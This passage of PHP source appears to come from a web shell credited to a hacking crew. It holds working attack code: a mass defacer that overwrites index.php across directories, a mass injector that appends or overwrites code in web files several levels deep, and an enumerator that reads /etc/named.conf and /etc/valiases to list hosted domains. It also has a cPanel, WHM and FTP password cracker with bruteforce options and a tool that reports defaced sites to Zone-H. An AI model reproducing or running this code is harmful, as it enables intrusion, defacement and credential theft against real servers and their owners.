1846<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1847<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1848<br>file name : <input type=text name=file size=20 value="index.php">
1849<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
1850<br><input type=submit value="Deface now"></p></form>
1851
1852<?php
1853if ($_POST['a'] == 'Deface') {
1854$mainpath = $_POST[p1];
1855$file = $_POST[p2];
1856$txtContents = $_POST[p3];
1857echo "Mass Defacer script by TeaM shell R3c0de XIIX";
1858$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
1859while ($row = readdir($dir)) {
1860$start = @fopen("$row/$file", "w+");
1861$code = $txtContents;
1862$finish = @fwrite($start, $code);
1863if ($finish) {
1864echo "$row/$file > Done<br><br>";
1865}
1866}
1867
1868}
1869echo '</div>';
1870printFooter();
1871}
1872
1873function actionInjector(){
1874 printHeader();
1875 echo '<h1>Mass Code Injector</h1>';
1876 echo '<div class="content">';
1877
1878 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
1879 function get_structure($path,$depth) {
1880 global $DS;
1881 $res = array();
1882 if(in_array(0, $depth)) { $res[] = $path; }
1883 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
1884 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
1885 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
1886 }
1887 if(in_array(2, $depth) or in_array(3, $depth)) {
1888 $tmp2 = array();
1889 foreach($tmp1 as $t){
1890 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
1891 $tmp2 = array_merge($tmp2, $tp2);
1892 }
1893 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
1894 }
1895 if(in_array(3, $depth)) {
1896 $tmp3 = array();
1897 foreach($tmp2 as $t){
1898 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
1899 $tmp3 = array_merge($tmp3, $tp3);
1900 }
1901 $res = array_merge($res,$tmp3);
1902 }
1903 return $res;
1904 }
1905
1906 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
1907 $name = $_POST['name'] ? $_POST['name'] : '*';
1908 $type = $_POST['type'] ? $_POST['type'] : 'html';
1909 $path = $_POST['path'] ? $_POST['path'] : getcwd();
1910 $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
1911 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
1912 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
1913 $dt = get_structure($path,$depth);
1914 foreach ($dt as $d) {
1915 if($mode == 'a') {
1916 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
1917 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1918 } else {
1919 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1920 }
1921 } else {
1922 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
1923 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
1924 } else {
1925 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1926 }
1927 }
1928 }
1929 } else {
1930 echo '<form method="post" action="">
1931 <table align="center">
1932 <tr>
1933 <td>Directory : </td>
1934 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
1935 </tr>
1936 <tr>
1937 <td class="title">Mode : </td>
1938 <td>
1939 <select style="width: 100px;" name="mode" class="box">
1940 <option value="a">Apender</option>
1941 <option value="w">Overwriter</option>
1942 </select>
1943 </td>
1944 </tr>
1945 <tr>
1946 <td class="title">File Name & Type : </td>
1947 <td>
1948 <input type="text" style="width: 100px;" name="name" value="*"/>
1949 <select style="width: 100px;" name="type" class="box">
1950 <option value="html">HTML</option>
1951 <option value="htm">HTM</option>
1952 <option value="php" selected="selected">PHP</option>
1953 <option value="asp">ASP</option>
1954 <option value="aspx">ASPX</option>
1955 <option value="xml">XML</option>
1956 <option value="txt">TXT</option>
1957 </select></td>
1958 </tr>
1959 <tr>
1960 <td class="title">Code Inject Depth : </td>
1961 <td>
1962 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
1963 <input type="checkbox" name="depth[]" value="1"/> 1
1964 <input type="checkbox" name="depth[]" value="2"/> 2
1965 <input type="checkbox" name="depth[]" value="3"/> 3
1966 </td>
1967 </tr>
1968 <tr>
1969 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
1970 </tr>
1971 <tr>
1972 <td colspan="2" style="text-align: center;">
1973 <input type="hidden" name="a" value="Injector">
1974 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1975 <input type="hidden" name="p1">
1976 <input type="hidden" name="p2">
1977 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1978 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
1979 </tr>
1980 </table>
1981 </form>';
1982 }
1983 echo '</div>';
1984 printFooter();
1985}
1986
1987 function actionDomain() {
1988 printHeader();
1989 echo '<h1>Local Domains</h1><div class=content>';
1990 $file = @implode(@file("/etc/named.conf"));
1991 if (!$file) {
1992 die("# Can't Read [/etc/named.conf] ... Sorry ! :( ");
1993 }
1994 preg_match_all("#named/(.*?).db#", $file, $r);
1995 $domains = array_unique($r[1]);
1996 //check();
1997 //if(isset($_GET['ShowAll']))
1998 {
1999 echo "<table align=center border=1 width=59% cellpadding=5>
2000<tr><td colspan=2>[#] There are : [ <b>" . count($domains) . "</b> ] Domain(s) on this box ... * I Suggest That You Should Pwn it ;) :D*</td></tr>
2001<tr><td>Domain</td><td>User</td></tr>";
2002 foreach ($domains as $domain) {
2003 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2004 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2005 }
2006 echo "</table>";
2007 }
2008 echo '</div>';
2009 printFooter();
2010 }
2011 function actionCpanel() {
2012 printHeader();
2013 echo '<h1>cPanel Cracker</h1>';
2014 echo '<div class="content">';
2015 echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
2016 echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
2017 echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
2018 echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
2019 echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
2020 echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
2021 echo '</tr>';
2022 echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
2023 echo '<td colspan="2"><span>Crack options: </span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b> <input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b> <input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
2024 <div style="margin-top:5px;"><span>Timeout delay: </span><input type="text" name="connect_timeout" size="4" value=""/>
2025 <input type="checkbox" name="bruteforce" value="true"/> <span>Bruteforce</span>
2026 <select name="charset">
2027 <option value="all">All Letters + Numbers</option>
2028 <option value="numeric">Numbers</option>
2029 <option value="letters">Letters</option>
2030 <option value="symbols">Symbols</option>
2031 <option value="lowercase">Lower Letters</option>
2032 <option value="uppercase">Higher Letters</option>
2033 <option value="lowernumeric">Lower Letters + Numbers</option>
2034 <option value="uppernumeric">Upper Letters + Numbers</option>
2035 <option value="lowersymbols">Lower Letters + Symbols</option>
2036 <option value="uppersymbols">Upper Letters + Symbols</option>
2037 <option value="letterssymbols">All Letters + Symbols</option>
2038 <option value="numberssymbols">Numbers + Symbols</option>
2039 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
2040 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
2041 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
2042 </select></div>
2043 <div style="margin-top:5px;"><span>Min Bruteforce Length: </span><input type="text" name="min_length" size="5" value=""/> <span>Max Bruteforce Length: </span><input type="text" name="max_length" size="5" value=""/></div>
2044 <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
2045 </td></tr>';
2046 echo '</table>';
2047 echo '</div>';
2048 printFooter();
2049}
2050function actionZHposter(){
2051printHeader();
2052echo '<h1>Zone-H Notifier</h1><div class=content>';
2053
2054echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
2055<input type="text" name="p1" size="40" value="shell R3c0de" /></br>
2056<select name="p2">
2057<option >--------SELECT--------</option>
2058<option value="1">known vulnerability (i.e. unpatched system)</option>
2059<option value="2" >undisclosed (new) vulnerability</option>
2060<option value="3" >configuration / admin. mistake</option>
2061<option value="4" >brute force attack</option>
2062<option value="5" >social engineering</option>
2063<option value="6" >Web Server intrusion</option>
2064<option value="7" >Web Server external module intrusion</option>
2065<option value="8" >Mail Server intrusion</option>
2066<option value="9" >FTP Server intrusion</option>
2067<option value="10" >SSH Server intrusion</option>
2068<option value="11" >Telnet Server intrusion</option>
2069<option value="12" >RPC Server intrusion</option>
2070<option value="13" >Shares misconfiguration</option>
2071<option value="14" >Other Server intrusion</option>
2072<option value="15" >SQL Injection</option>
2073<option value="16" >URL Poisoning</option>
2074<option value="17" >File Inclusion</option>
2075<option value="18" >Other Web Application bug</option>
2076<option value="19" >Remote administrative panel access bruteforcing</option>
2077<option value="20" >Remote administrative panel access password guessing</option>
2078<option value="21" >Remote administrative panel access social engineering</option>
2079<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2080<option value="23" >Access credentials through Man In the Middle attack</option>
2081<option value="24" >Remote service password guessing</option>
2082<option value="25" >Remote service password bruteforce</option>
2083<option value="26" >Rerouting after attacking the Firewall</option>
2084<option value="27" >Rerouting after attacking the Router</option>
2085<option value="28" >DNS attack through social engineering</option>
2086<option value="29" >DNS attack through cache poisoning</option>
2087<option value="30" >Not available</option>
2088</select>
2089</br>
2090<select name="p3">
2091<option >--------SELECT--------</option>
2092<option value="1" >Heh...just for fun!</option>
2093<option value="2" >Revenge against that website</option>
2094<option value="3" >Political reasons</option>
2095<option value="4" >As a challenge</option>
2096<option value="5" >I just want to be the best defacer</option>
2097<option value="6" >Patriotism</option>
2098<option value="7" >Not available</option>
2099</select>
2100</br>
2101<textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
2102<input type="submit" value="Send Now !" />
2103</form>';
2104echo "</td></tr></table></form>";
2105
2106if($_POST['a'] == 'ZHposter')
2107{
2108 ob_start();
2109 $sub = @get_loaded_extensions();
2110 if(!in_array("curl", $sub))
2111 {
2112 die('[-] Curl Is Not Supported !! ');
2113 }
2114
2115 $hacker9 = $_POST['p1'];
2116 $method9 = $_POST['p2'];
2117 $neden9 = $_POST['p3'];
2118 $site9 = $_POST['p4'];
2119
2120 if (empty($hacker9))
2121 {
2122 die ("[#] You Must Fill In The Attacker Name !");
2123 }
2124 elseif($method9 == "--------SELECT--------")
2125 {
2126 die("[#] You Must Select The Method !");
2127 }
2128 elseif($neden9 == "--------SELECT--------")
2129 {
2130 die("[#] You Must Select The Reason");
2131 }
2132 elseif(empty($site9))
2133 {
2134 die("[#] You Must Enter the Sites List ! ");
2135 }
2136
2137 $i = 0;
2138 $sites = explode("\n", $site9);
2139 while($i < count($sites))
2140 {
2141
2142 if(substr($sites[$i], 0, 4) != "http")
2143 {
2144 $sites[$i] = "http://".$sites[$i];
2145 }
2146 ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
2147 echo "Site : ".$sites[$i]." Defaced ! </br>";
2148 ++$i;
2149 }
2150 echo "[#] Sites Sent To Zone-H :D !! ";
2151 }
2152echo '</div>';
2153printFooter();
2154}
2155if( empty($_POST['a']) )
2156 if(isset($default_action) && function_exists('action' . $default_action))
2157 $_POST['a'] = $default_action;
2158 else
2159 $_POST['a'] = 'SecInfo';
2160if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2161 call_user_func('action' . $_POST['a'])
2162
2163?>